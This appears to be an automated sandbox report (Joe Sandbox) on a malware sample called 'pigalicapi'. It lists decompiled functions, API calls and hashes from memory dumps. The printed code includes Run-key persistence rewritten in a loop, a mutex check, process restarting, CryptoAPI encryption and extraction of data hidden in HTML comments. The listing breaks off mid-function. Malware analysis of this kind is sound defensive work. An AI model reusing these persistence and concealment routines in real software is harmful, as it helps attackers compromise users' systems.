API ID: CriticalSection$EnterEventFreeInitializeLeaveObjectSingleSleepUninitializeVirtualWait
String ID:
API String ID: 3462651527-0
Opcode ID: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction ID: a8de0d0852ad7639ac4a8efdad63c4b5a832734fa442b81c8ae14f5e2abf7ac4
Opcode Fuzzy Hash: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction Fuzzy Hash: 1C213075A00208EFE704EF94D958FAEB7B9EB48305F10C658E605B7281D739EE84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 040077B0 Relevance: 10.6, APIs: 7, Instructions: 80
sleepCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E040077B0(void** _a4) {
				void** _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				void** _v28;
				int _t37;
				void* _t40;
				void* _t60;

				if(_a4 != 0) {
					__imp__CoInitialize(0);
					_v12 = 0x96;
					_v16 = 0x1388;
					_v8 = _a4;
					if( *_v8 != 0) {
						_v20 = 0;
						while(_v20 < 0x96) {
							_v24 = 0;
							_t37 = GetExitCodeProcess(_v8[3],  &_v24); // executed
							if(_t37 == 0) {
							} else {
								if(_v24 != 0x103) {
									CloseHandle(_v8[3]);
									Sleep(0x7530);
									_t40 = E04002070( *_v8);
									_t60 = _t60 + 4;
									_v8[3] = _t40;
									if(_v8[3] != 0) {
										_v20 = _v20 + 1;
										if((_v8[2] & 0x00000004) != 0) {
											E04002510(_v8[3], 0x400e290);
											_t60 = _t60 + 8;
										}
										goto L11;
									} else {
									}
								} else {
									Sleep(0x1388); // executed
									L11:
									continue;
								}
							}
							break;
						}
						VirtualFree( *_v8, 0, 0x8000);
						_v28 = _v8;
						E040097C0(_v28);
					}
					__imp__CoUninitialize();
				}
				return 0;
			}

APIs

CoInitialize.OLE32(00000000), ref: 040077C2
GetExitCodeProcess.KERNEL32 ref: 0400780E
Sleep.KERNEL32(00001388), ref: 04007826
CloseHandle.KERNEL32(00001388), ref: 04007835
Sleep.KERNEL32(00007530), ref: 04007840
VirtualFree.KERNEL32(00000096,00000000,00008000), ref: 040078A5
CoUninitialize.OLE32 ref: 040078BD

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Sleep$CloseCodeExitFreeHandleInitializeProcessUninitializeVirtual
String ID:
API String ID: 2326833528-0
Opcode ID: 40971a79621a4715f304bef9d1a112be756b69aca4ab6b623c127bbca2746a66
Instruction ID: 786529089a386be0191f5a1a0158813805cafbe076d78358bbe760b2cac44d20
Opcode Fuzzy Hash: 40971a79621a4715f304bef9d1a112be756b69aca4ab6b623c127bbca2746a66
Instruction Fuzzy Hash: 62318E74A00209EBFB54CF90C848BAEB7B1FB44305F14C668E905B7280D779BE40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04005CD0 Relevance: 10.6, APIs: 7, Instructions: 72
filememorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005CD0(CHAR* _a4) {
				long _v8;
				void* _v12;
				long _v16;
				void* _v20;
				long _v24;
				void* _t29;
				void* _t34;

				_v8 = 0;
				if(_a4 != 0 && lstrlenA(_a4) >= 4) {
					_t29 = CreateFileA(_a4, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v12 = _t29;
					if(_v12 != 0xffffffff) {
						_v16 = GetFileSize(_v12, 0);
						if(_v16 > 0) {
							_t34 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
							_v20 = _t34;
							if(_v20 != 0) {
								_v24 = 0;
								ReadFile(_v12, _v20, _v16,  &_v24, 0); // executed
								if(_v24 == _v16) {
									_v8 = E040016F0(_v20, _v16);
								}
								VirtualFree(_v20, 0, 0x8000); // executed
							}
						}
						FindCloseChangeNotification(_v12); // executed
					}
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04005CEB
CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005D10
GetFileSize.KERNEL32(000000FF,00000000), ref: 04005D29
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005D45
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04005D6D
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04005D99
FindCloseChangeNotification.KERNEL32(000000FF), ref: 04005DA3

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$Virtual$AllocChangeCloseCreateFindFreeNotificationReadSizelstrlen
String ID:
API String ID: 443218420-0
Opcode ID: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction ID: 1c3b7df952a912c4f86c12ad70d9a091debb45511137cc5b62942badbf1a5776
Opcode Fuzzy Hash: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction Fuzzy Hash: 7021EC75A00208FBEB64DFA4DC49BAE77B5EB48705F108659F615BB2C0C778AA80CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04005B50 Relevance: 8.9, APIs: 7, Instructions: 124
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005B50(CHAR* _a4, char* _a8, intOrPtr* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				void* _v24;
				int _v28;
				int _v32;
				char* _v36;
				char* _v40;
				void* _v44;
				void* _t69;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_v32 = lstrlenA(_a8);
					_v28 = lstrlenA(_a4);
					_v24 = 0;
					_v16 = 0;
					while(_v24 < _v28) {
						_v36 = StrStrIA( &(_a4[_v24]), _a8);
						if(_v36 != 0) {
							_v16 = _v16 + 1;
							_v24 = _v36 - _a4 + _v32;
							continue;
						}
						break;
					}
					_v20 = _v16 * 0x28;
					_t69 = VirtualAlloc(0, _v20, 0x3000, 4); // executed
					_v12 = _t69;
					if(_v12 != 0) {
						_v24 = 0;
						_v16 = 0;
						while(_v24 < _v28) {
							_v40 = StrStrIA( &(_a4[_v24]), _a8);
							if(_v40 != 0) {
								lstrcpynA(_v12 + _v16 * 0x28,  &(_a4[_v24]), _v40 -  &(_a4[_v24]) + 1);
								_v24 = _v40 - _a4 + _v32;
								_v16 = _v16 + 1;
								_v8 = _v8 + 1;
								 *_a12 = _v12;
								continue;
							}
							break;
						}
						if(_a16 != 0) {
							_v44 = VirtualAlloc(0, _v20, 0x3000, 4);
							if(_v44 != 0) {
								E04007B70(_v44, _v12, _v20);
								 *_a16 = _v44;
							}
						}
					}
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04005B7F
lstrlenA.KERNEL32(00000000), ref: 04005B8C
StrStrIA.SHLWAPI(00000000,00000000), ref: 04005BB6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005BF6
StrStrIA.SHLWAPI(00000000,00000000), ref: 04005C2A
lstrcpynA.KERNEL32(00000000,00000000,-00000001), ref: 04005C59
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005C9E

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: AllocVirtuallstrlen$lstrcpyn
String ID:
API String ID: 808621155-0
Opcode ID: 87716a91232c7d4b55081c1f55d7f64912373dfad697bd4087df7a6950954879
Instruction ID: 5a59fe48962482dc997a37d5c0ed7d0013e253906576cb4b19edba68c8a08fb2
Opcode Fuzzy Hash: 87716a91232c7d4b55081c1f55d7f64912373dfad697bd4087df7a6950954879
Instruction Fuzzy Hash: D451C774904209EFEB04CF94C998BEEBBB5EF48305F148559E505B7284D379AA80CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04006CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04006CF0() {
				char _v5;
				void* _v12;
				void* _v16;
				int _v20;
				int _v24;
				long _v28;
				char _v60;
				long _t21;
				long _t24;
				char* _t26;
				char* _t30;
				char* _t32;

				_v5 = 0;
				_v12 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v12 = 0x80000002;
				}
				_v16 = 0;
				_t32 =  *0x40118a0; // 0x4013b88
				_t21 = RegOpenKeyExA(_v12, _t32, 0, 0xf003f,  &_v16); // executed
				if(_t21 == 0) {
					_v24 = 0x20;
					_v20 = 3;
					_t30 =  *0x4011890; // 0x4013fa6
					_t24 = RegQueryValueExA(_v16, _t30, 0,  &_v20,  &_v60,  &_v24); // executed
					_v28 = _t24;
					if(_v28 == 0) {
						_v5 = 1;
						_t26 =  *0x4011890; // 0x4013fa6
						RegDeleteValueA(_v16, _t26);
					}
					RegCloseKey(_v16);
				}
				return _v5;
			}

APIs

RegOpenKeyExA.KERNEL32(80000001,04013B88,00000000,000F003F,00000000), ref: 04006D30
RegQueryValueExA.KERNEL32(00000000,04013FA6,00000000,00000003,?,00000020), ref: 04006D61
RegDeleteValueA.ADVAPI32(00000000,04013FA6), ref: 04006D7E
RegCloseKey.ADVAPI32(00000000), ref: 04006D88

Strings

, xrefs: 04006D3A

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID:
API String ID: 647993726-3916222277
Opcode ID: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction ID: 88112219bc8656018e8fd12fe99521312711d887651bf4d09d45951e100356d5
Opcode Fuzzy Hash: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction Fuzzy Hash: DE114275D04208AFEB04DFE0D848BBEBBB8FB48304F148158EA00BB280D77D5A45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04008370 Relevance: 7.7, APIs: 6, Instructions: 191
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008370(intOrPtr _a4, long _a8, char _a12, intOrPtr _a16) {
				long _v8;
				void* _v12;
				void* _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr* _v56;
				long _v60;
				void* _t79;
				void* _t80;
				void* _t85;
				void* _t90;
				void* _t94;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a16 < _a8) {
					L17:
					return _v8;
				} else {
					_t79 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v16 = _t79;
					_t80 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v12 = _t80;
					if(_v16 != 0 && _v12 != 0) {
						_v24 = 0x1000;
						_v20 = 0x1000;
						_t85 = E04008800(_v16,  &_v24, _v12,  &_v20, 0x4013378, 0x94); // executed
						if(_t85 != 0) {
							_t21 = _a8 + 0x10; // 0x1010
							_v28 = _v20 + _t21;
							_t170 = _a16 - _v28;
							if(_a16 >= _v28) {
								_v40 = E04008770(_t170, 0xa);
								_v36 = E040087D0(0xffffffff);
								_t90 = VirtualAlloc(0, _a8, 0x3000, 4); // executed
								_v32 = _t90;
								if(_v32 != 0) {
									_v44 = _a8;
									E04007B70(_v32, _a4, _a8);
									_t94 = E04008970(_v32,  &_v44, _v16, _v24); // executed
									if(_t94 != 0) {
										_v48 = _a12;
										E040085D0( &_v48,  &_v40, 4);
										E040085D0( &_v48,  &_v36, 4);
										_v60 = 0;
										_v56 = _v48;
										E040085D0( &_v48,  &_v60, 4);
										_v52 = _v48;
										E040085D0( &_v48,  &_v20, 4);
										E040085D0( &_v48, _v12, _v20);
										E04008650(_v36, _v52, _v48 - _v52, _v36);
										E040085D0( &_v48, _v32, _v44);
										 *_v56 = E040016F0(_a12 + 0xc, _v48 - _a12 + 0xc);
										_v8 = _v48 - _a12;
									}
									VirtualFree(_v32, 0, 0x8000); // executed
								}
							}
						}
					}
					if(_v16 != 0) {
						VirtualFree(_v16, 0, 0x8000); // executed
					}
					if(_v12 != 0) {
						VirtualFree(_v12, 0, 0x8000); // executed
					}
					goto L17;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 040083BF
VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 040083D6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0400846B

Part of subcall function 04008970: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 040089BF
Part of subcall function 04008970: GetLastError.KERNEL32 ref: 040089C9
Part of subcall function 04008970: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 040089F8
Part of subcall function 04008970: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008A1F
Part of subcall function 04008970: CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 04008A41
Part of subcall function 04008970: CryptDestroyKey.ADVAPI32(00000000), ref: 04008A4E
Part of subcall function 04008970: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008A5A

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400858C
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 040085A3
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 040085BA

Part of subcall function 04008800: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,04008420,00000000,00001000,00000000), ref: 0400883B
Part of subcall function 04008800: GetLastError.KERNEL32 ref: 04008845
Part of subcall function 04008800: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008874
Part of subcall function 04008800: CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 040088AF
Part of subcall function 04008800: CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 040088CF
Part of subcall function 04008800: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 0400890C
Part of subcall function 04008800: CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 0400892A
Part of subcall function 04008800: CryptDestroyKey.ADVAPI32(?), ref: 04008937

Part of subcall function 040087D0: QueryPerformanceCounter.KERNEL32(?), ref: 040087E7

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Virtual$Context$Acquire$AllocFree$DestroyErrorExportImportLast$CounterEncryptPerformanceQueryRelease
String ID:
API String ID: 487564122-0
Opcode ID: cd64014fca8a1fd3dedaf543264f396e97ee9f29ef2d2d9375146d60c3b71fee
Instruction ID: 75e4ec9ffd75ad85335d37f2dbfda6536f989acb89096578b4a6032df118288e
Opcode Fuzzy Hash: cd64014fca8a1fd3dedaf543264f396e97ee9f29ef2d2d9375146d60c3b71fee
Instruction Fuzzy Hash: A0711CB6D00208ABEB14EFA4D845FEEB7B4BB48305F14C519EA15B72C0E774EA44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 040012D0 Relevance: 7.6, APIs: 5, Instructions: 57
registrysleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040012D0(CHAR* _a4) {
				CHAR* _v8;
				char* _v12;
				CHAR* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				long _t26;

				_v8 = _a4;
				if(_v8 != 0) {
					_v16 = _v8;
					_v12 = "software\\microsoft\\windows\\currentversion\\run";
					while( *0x4014370 == 0) {
						_v20 = 0x80000001;
						if(( *(_v8 + 0x30c) & 0x000000ff) != 0) {
							_v20 = 0x80000002;
						}
						_v24 = 0;
						_t26 = RegOpenKeyExA(_v20, _v12, 0, 0xf003f,  &_v24); // executed
						if(_t26 == 0) {
							_v28 = lstrlenA(_v16);
							RegSetValueExA(_v24, _v8 + 0x208, 0, 1, _v16, _v28); // executed
							RegCloseKey(_v24); // executed
						}
						Sleep(0x1388); // executed
					}
				}
				return 0;
			}

APIs

RegOpenKeyExA.KERNEL32(80000001,0400C248,00000000,000F003F,00000000), ref: 04001337
lstrlenA.KERNEL32(?), ref: 04001345
RegSetValueExA.KERNELBASE(00000000,-00000208,00000000,00000001,?,?), ref: 04001368
RegCloseKey.KERNEL32(00000000), ref: 04001372
Sleep.KERNEL32(00001388), ref: 0400137D

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseOpenSleepValuelstrlen
String ID:
API String ID: 3411147897-0
Opcode ID: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction ID: 889d750eda8961b126f00a9021e235014b30ece64fb5bfebafecfaf2f158f27d
Opcode Fuzzy Hash: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction Fuzzy Hash: 12210070A04309EBEB04CFE4C949BAEB7B4FB44301F108258E641BB280D779AE40DB91

Uniqueness

Uniqueness Score: -1.00%

Function 100021A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 100021F9
SetLastError.KERNEL32(0000007E), ref: 1000223B

Memory Dump Source

Source File: 00000002.00000002.608609386.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10001000_pigalicapi.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 85b49708b7b006b8dd60775e5bc00b257713ffe4475079b25aab955e2dacc848
Instruction ID: c08fe1bd30c15a7bb6e8476d185febfb1ca0f6f7539b963f039c2b10503cc3e6
Opcode Fuzzy Hash: 85b49708b7b006b8dd60775e5bc00b257713ffe4475079b25aab955e2dacc848
Instruction Fuzzy Hash: CB818574A00209EFDB04CF94C890B9EBBB5FF88354F248198E959AB355D774EE81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04005E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005E00() {

				CreateMutexA(0, 0, "pigalicapi"); // executed
				return 0 | GetLastError() == 0x000000b7;
			}

0x04005e0c
0x04005e25

APIs

CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,04003BEB), ref: 04005E0C
GetLastError.KERNEL32(?,04003BEB), ref: 04005E12

Strings

pigalicapi, xrefs: 04005E03

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: pigalicapi
API String ID: 1925916568-2184165135
Opcode ID: ac3ade5f6374e6b3d28c260e8624ddfb09fc106c0a6a63d5b6af1bc4c66bd4e9
Instruction ID: c9a096dff23d34124f73a3e8575822b5ba186ec69b5811b6053c60030017a183
Opcode Fuzzy Hash: ac3ade5f6374e6b3d28c260e8624ddfb09fc106c0a6a63d5b6af1bc4c66bd4e9
Instruction Fuzzy Hash: FAC08C362883186BF2081B61ED4BB893A88C792E81F600030F30AEA0D0999968C08B16

Uniqueness

Uniqueness Score: -1.00%

Function 04008250 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v13;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _t48;
				intOrPtr _t51;
				intOrPtr _t58;
				char _t63;
				void* _t77;
				void* _t78;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v20 = _a4;
					_v13 = 0;
					while(_v12 < _a8 - 0xa && (_v13 & 0x000000ff) == 0) {
						_t48 = "<!--"; // 0x2d2d213c
						_v32 = _t48;
						_t63 =  *0x400c700; // 0x0
						_v28 = _t63;
						_t51 = E04007AF0(_v20 + _v12, _a8 - _v12,  &_v32, 4);
						_t78 = _t77 + 0x10;
						_v24 = _t51;
						if(_v24 == 0) {
						} else {
							_v12 = _v24 - _a4;
							_t28 = _v12 + 4; // 0x4
							_v36 = StrStrA(_v20 + _t28, "-->");
							if(_v36 != 0) {
								_v44 = _v36 - _v24 - 4;
								_t58 = E04008090(_v24 + 4, _v44, _a12, _a16); // executed
								_t77 = _t78 + 0x10;
								_v40 = _t58;
								if(_v40 > 0) {
									_v13 = 1;
									_v8 = _v40;
								}
								_v12 = _v12 + 4;
								continue;
							}
						}
						goto L16;
					}
				}
				L16:
				return _v8;
			}

APIs

StrStrA.SHLWAPI(00000004,-->), ref: 04008300

Part of subcall function 04008090: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040080D8

Strings

<!--, xrefs: 040082B1
-->, xrefs: 040082F0

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual
String ID: -->$<!--
API String ID: 4275171209-1166897919
Opcode ID: 20dc3e6302552aac322e9474528943c8a2bb7ec5e025690798da4dc1e387ebc2
Instruction ID: 33a7bc7995a4c535701f75233fb1c46eed47e0fb0959c3fa2371b97aa1c284c8
Opcode Fuzzy Hash: 20dc3e6302552aac322e9474528943c8a2bb7ec5e025690798da4dc1e387ebc2
Instruction Fuzzy Hash: 23311971900249DFEF04EFA8C544BEEBBB1BB88308F14C959D505B7281E774AA84CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0400A400 Relevance: 4.6, APIs: 3, Instructions: 53
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0400A400(char* _a4, char* _a8, char* _a12, int _a16) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _t25;
				long _t27;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0x80000001;
					if(( *0x401435a & 0x000000ff) != 0) {
						_v12 = 0x80000002;
					}
					_v16 = 0;
					_t25 = RegOpenKeyExA(_v12, _a4, 0, 0xf003f,  &_v16); // executed
					if(_t25 == 0) {
						_v20 = _a16;
						_t27 = RegQueryValueExA(_v16, _a8, 0, 0, _a12,  &_v20); // executed
						if(_t27 == 0) {
							_v8 = _v20;
						}
						RegCloseKey(_v16); // executed
					}
				}
				return _v8;
			}

0x0400a406
0x0400a411
0x0400a429
0x0400a439
0x0400a43b
0x0400a43b
0x0400a442
0x0400a45c
0x0400a464
0x0400a469
0x0400a480
0x0400a488
0x0400a48d
0x0400a48d
0x0400a494
0x0400a494
0x0400a464
0x0400a4a0

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 0400A45C
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0400A480
RegCloseKey.KERNEL32(00000000), ref: 0400A494

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 26c5e8be6951219e5415309ce84e58fa5b755f2e54e0236dd9c9ae8c1af765fa
Instruction ID: 715db8aa4ed00a9f1925e7802d1785fb3623660146ed6b0049a8ef53f9c2d8f0
Opcode Fuzzy Hash: 26c5e8be6951219e5415309ce84e58fa5b755f2e54e0236dd9c9ae8c1af765fa
Instruction Fuzzy Hash: 70110D74A00309EBEB15CF94C848BEF77B8FB84744F14C558E914AB680D7B8AA51CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008090 Relevance: 3.9, APIs: 3, Instructions: 147
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008090(intOrPtr _a4, long _a8, void** _a12, intOrPtr* _a16) {
				long _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				int _v48;
				long _v52;
				void* _t71;
				intOrPtr _t73;
				void* _t91;
				void* _t93;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L13:
					return _v8;
				} else {
					_v16 = _a8;
					_t71 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
					_v12 = _t71;
					if(_v12 != 0) {
						_t73 = E04001390(_v12, _a4, _v16, _v12, _v16); // executed
						_v20 = _t73;
						if(_v20 != 0) {
							_v24 = _v12;
							_v28 = _v20;
							_v32 = E040087B0(_v20,  *_v24) & 0x0000ffff;
							if(_v32 == 0xa) {
								_v40 =  *((intOrPtr*)(_v24 + 4));
								_v44 =  *((intOrPtr*)(_v24 + 8));
								_v36 = E040016F0(_v24 + 0xc, _v28 - 0xc);
								if(_v36 == _v44) {
									E04008630(_v24 + 0xc, 4, _v40);
									_v48 =  *((intOrPtr*)(_v24 + 0xc));
									E04008630(_v24 + 0x10, _v48, _v40);
									_v52 = _v28 - _v48 + 0x10;
									_t52 = _v48 + 0x10; // 0x10
									_t91 = E04008A70(_v24 + _t52,  &_v52, _v24 + 0x10, _v48, 0x4013410, 0x254); // executed
									if(_t91 != 0) {
										_t93 = VirtualAlloc(0, _v52, 0x3000, 4); // executed
										 *_a12 = _t93;
										if( *_a12 != 0) {
											_t60 = _v48 + 0x10; // 0x10
											E04007B70( *_a12, _v24 + _t60, _v52);
											 *_a16 = _v52;
											_v8 = _v52;
										}
